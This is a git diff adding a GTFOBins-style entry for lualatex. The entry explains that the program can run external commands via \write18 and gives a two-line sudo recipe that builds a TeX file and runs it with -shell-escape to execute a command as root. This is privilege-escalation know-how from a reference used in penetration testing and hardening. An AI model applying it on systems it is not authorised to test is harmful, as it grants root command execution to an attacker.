diff --git a/_gtfobins/lualatex.md b/_gtfobins/lualatex.md new file mode 100644 index 0000000..0cd0520 --- /dev/null +++ b/_gtfobins/lualatex.md @@ -0,0 +1,6 @@ +description: `lualatex` is a symbolic link to [`luatex`](/gtfobins/luatex/). However the program does not have the same behaviour regarding the name of argv[0]. It allows to call external command with \write18 but it also allows to call external [`lua`](/gtfobins/lua/) scripts. +functions: + sudo: + - code: | + echo "\documentclass[12pt]{article} \usepackage{shellesc} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex + sudo lualatex -shell-escape file.tex